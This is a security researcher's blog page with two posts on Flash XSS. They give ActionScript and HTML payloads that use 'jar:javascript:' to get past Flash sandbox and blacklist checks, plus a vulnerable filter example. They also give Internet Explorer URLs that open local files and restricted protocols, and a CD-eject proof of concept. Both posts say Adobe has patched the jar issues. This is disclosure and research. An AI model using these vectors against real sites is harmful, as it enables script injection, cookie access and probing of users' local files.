Tag Archives: jar protocol

Catch-up on Flash XSS exploitation Part 3 – XSS by embedding a flash file

I am going to explain how to exploit a Cross Site Scripting vulnerability by embedding a flash file in a vulnerable website by using navigateToURL or getURL. This is a known technique but I want to introduce a new method to exploit the target more efficiently. This method can be useful when you have some restrictions and you cannot inject a JavaScript directly into the page.

First of all, I am going to explain how it is possible to do this normally and then I will try to make my vector as short as possible.

Using “allowScriptAccess” (normal method):

Here is the code that we need to run JavaScript from our flash file by using URL redirection:

ActionScript 3 code (http://0me.me/demo/xss/flash/normalEmbededXSS.swf):


navigateToURL(new URLRequest("javascript:alert(document.domain);"),"_self");

ActionScript 2 code:


getURL("javascript:alert(document.domain)","_self");

And here is the HTML code in which we need to embed this flash file:


<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowScriptAccess" value="always" /><param name="src" value="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf" allowScriptAccess="always" /></object>

Test URL: http://jsfiddle.net/4F5b2/

It is also possible to rewrite the HTML file as follows to make it as short as possible:


<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" />

Test URL: http://jsfiddle.net/UDeE8/

However, this vector will not work in IE as it causes a “Security sandbox violation” error (you can use the debugger version of Flash player to see the error messages). Instead we can use EMBED tag as follows:


<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowscriptaccess" value="always" /><param name="src" value="//0me.me/demo/xss/flash/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//0me.me/demo/xss/flash/normalEmbededXSS.swf" allowscriptaccess="always" /></object>

Test URL: http://jsfiddle.net/pEFan/

Exploiting XSS without using allowScriptAccess – bypassing flash Security Sandbox:

There can be a valid scenario in which you can only control the address of an embedded SWF file in victim’s website or there are some length restrictions and we cannot use “allowScriptAccess”! I came across this scenario recently in @rafaybaloch and @prakharprasad #1 XSS challenge: http://rafay.prakharprasad.com/

If we do not use “allowScriptAccess”, we can make our vector as short as possible but it will cause a “Security sandbox violation” error for two reasons:

1: Target page in navigateToURL or getURL cannot be set to null/empty, “_self”, “_parent”, and “_top”.

Example:

ActionScript 3 code (http://0me.me/demo/xss/flash/targetSelf_destGoogle_embededXSS.swf):


navigateToURL(new URLRequest("http://google.com/"),"_self");

Test URL: http://jsfiddle.net/sWk37/

2: We cannot use “JavaScript:” protocol for redirection.

Example:

ActionScript 3 code:


navigateToURL(new URLRequest("javascript:alert(document.domain);"),"testme");

Test URL: http://jsfiddle.net/9wGMM/

Resolving the first issue is not difficult. If we use an arbitrary name as the target page, it will open our JavaScript in a new page which uses the same window origin as its opener and this is what we need! It is also possible to set a name for the victim’s website when we want to open it by using different techniques (such as IFrame name, window.open, anchor’s target, form’s target and so on) and set the target name to the same name in our Flash file. I will show you an example later.

Overcoming the second issue is even easier! We can use “JAR:” protocol before “JavaScript:” to bypass Flash Sandbox protection (http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/).

Based on these solutions, our Flash file would be like this:

ActionScript 3 code (http://0me.me/demo/xss/flash/embededXSS.swf):


navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");

ActionScript 2 code:


getURL("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);","testme");

Let’s Finish It!

I have a vulnerable page which is located in:

http://www.sdl.me/xssdemo/xss.asp?input=XSS_goes_here

If we do not use a name for the victim’s website, it is only exploitable in Mozilla Firefox:

http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf> – Firefox only

We can still exploit this in other browsers if we use a name (“testme” in our example) to open the vulnerable file. Here is an example:


<iframe name="testme" src="http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf>" height="240" width="320"></iframe>

Test URL: http://jsfiddle.net/FUfrc/

Please note that the OBJECT tag could also be used instead of EMBED with the same result.
 

Important Update: Adobe Flash has been patched to close JAR protocol issues forever! (http://helpx.adobe.com/security/products/flash-player/apsb14-02.html)

 

 

Catch-up on Flash XSS exploitation Part 2 – “navigateToURL” and “jar:” protocol!

I think I have already proven my interest in using simple vectors to bypass available protections (some examples to support my claim!: IIS Semi-colon issue, IIS Short Filename Scanner, Mozilla Firefox Directory Traversal by using resource protocol, etc). Now, I am going to reveal more secrets and this time in Flash and also Internet Explorer!

XSS attack by using different protocols in “navigateToURL” redirections:

Please note that this section may need to be updated in future as I have not spent enough time researching this subject yet! Therefore, if you have found something relevant or if you know a useful tip, please share it with me too.

We know that “navigateToURL” can lead to a Cross Site Scripting or Open Redirect issue. When I was playing with “navigateToURL” function in AS3, I found an interesting protocol that Flash ignores and it is called “jar:” protocol. I had seen this in Firefox before but never in Flash!

In flash binary file, there are also other protocols listed that can be useful for the research purposes but none of them has the unique feature of “jar:” protocol. Their list is as follows:

rtmp:
rtmpt:
rtmps:
rtmpe:
rtmpte:
mk:@MSITStore:
Ms-its:
vnd.ms.wmhtml:
etc:
ms-help:
hcp:
msencdata:
jar:
rtmpt://
rtmps://
rtmpe://
rtmpte://
rtmfp://
file:////
app:
app-storage:

Some of these protocols are for streaming purposes (such as “rtmps”), some of them are application specific protocols (such as “Ms-its” for IE), and others are generic protocols that we already know about!

jar:” protocol is our invisible friend and a True Warrior!!:

It seems flash ignores “jar:” protocol and it becomes a transparent protocol. In other words, there is no difference between “javascript:alert(1)” and “jar:javascript:alert(1)” in Action Script. I have not yet found any other usage of this protocol (maybe it is vulnerable as well!).

Now if an application uses a blacklist protection to detect “javascript:” or “vbscript:”, it can be easily bypassed!

Here is our vulnerable example code:

	var input:String = root.loaderInfo.parameters.input; // input variable
	var dangerousInput:RegExp = /^\w*script:.*/i; // to cover javascript: and vbscript: protocols!
	if(!dangerousInput.test(input))
	{
		// Safe to go?!!! --> No! What about "jar:javascript:"?
		navigateToURL(new URLRequest(input),"_self"); // redirection
	}

And here is the real example:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:javascript:alert(1);//
*

This Action Script is also vulnerable to XSS by using “data:” protocol in Firefox which I believe is a known issue.

Bypassing local-with-filesystem protection by using “navigateToURL”:

By default, Flash does not allow you to use sensitive protocols such as “File://” or “Ms-its:” in “navigateToURL”. If you try to open “http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\”, you will receive the following error (you can view the errors by using debugger version of Flash Player):

SecurityError: Error #2148: SWF file http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\ cannot access local resource file://c:\. Only local-with-filesystem and trusted local SWF files may access local resources.
	at global/flash.net::navigateToURL()
	at MethodInfo-1()
	at flash.events::EventDispatcher/dispatchEventFunction()
	at flash.events::EventDispatcher/dispatchEvent()
	at com.powerflasher.SampleApp::link_protocol_test()

As you can see in the error message, only local-with-filesystem should be able to use “File:” protocol.

I found out that it is possible to bypass this protection by using “jar:” protocol followed by a restricted protocol and by playing with slashes and backslashes preceding the restricted protocol. And now it is up to the browsers to protect their users against any possible attack!

I have tested this technique in Google Chrome, Mozilla Firefox, and Internet Explorer and I could not bypass the first two! Which means only Internet Explorer is falling for this bypass method!

Here are some examples of my bypass vectors:

Jar protocol – Opens C drive (note that I use only 1 slash character for the File protocol):

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\
*

Jar protocol – Opens a file in your local C drive:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\windows\Starter.xml
*

Jar protocol – Opens other restricted protocols in IE – example 1:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:shell:cookies
*

Jar protocol – Opens other restricted protocols in IE – example 2:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:mk:@MSITStore:C:\Windows\Help\mui\0409\certmgr.CHM::/html/355962c2-4f6b-4cbd-ab00-6e7ee4dddc16.htm
*

Playing with backslashes without using “jar:” protocol – Opens C drive:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=\\/c:/
*

Now you can open any of these links in an IFrame. I have created a PoC in the following link:
http://0me.me/demo/xss/flash/iframe_link_protocol_test.html

As you can see in the PoC link, it is even possible to identify if an item is available or not! As a result, it is possible to enumerate the local hard-drives (what about the internal network? ;) )

Now the question is: “what can I do by opening a local resource in an IFrame?”. I had some thoughts but I asked the same question in my twitter as well to collect more information. I say thank you to the following people who kindly answered my question: @obnosis, @mall0cat, @dveditz, @AbiusX, @cgvwzq, @superevr, @Milad_Bahari.

These are the things we should be able to do by opening the local file system in an IFrame:

1- Running a dangerous browser readable file (such as html, swf, and so on) that contains malicious scripts to steal more data, execute command, or target the internal network. In order to exploit this issue, you need a vulnerable/malicious file with proper extension (IE should be able to open it) in the target’s machine. This can be an existent file or a file that has been downloaded to the target. However, you may need the user’s interaction (see this old issue: http://forums.cnet.com/7726-6132_102-5480227.html).

2- Hijacking the local sensitive files by using drag-and-drop feature. I should say that I was unable to do this in my PoCs. Maybe I should try harder?!

3- Scanning the local resources.

4- Fingerprinting the users based on their files and directories.

Let’s have some fun! I want to open your CDRom!

I have created a PoC to eject the empty CD/DVD drives in IE (tested in IE10) – just like old Trojans!!!:
http://0me.me/demo/xss/flash/open_cdrom.html

I have used another advisory of mine to enumerate the valid Drive letters and I am opening them one by one in an IFrame!
 

Important Update: Adobe Flash has been patched to close JAR protocol issues forever! (http://helpx.adobe.com/security/products/flash-player/apsb14-02.html)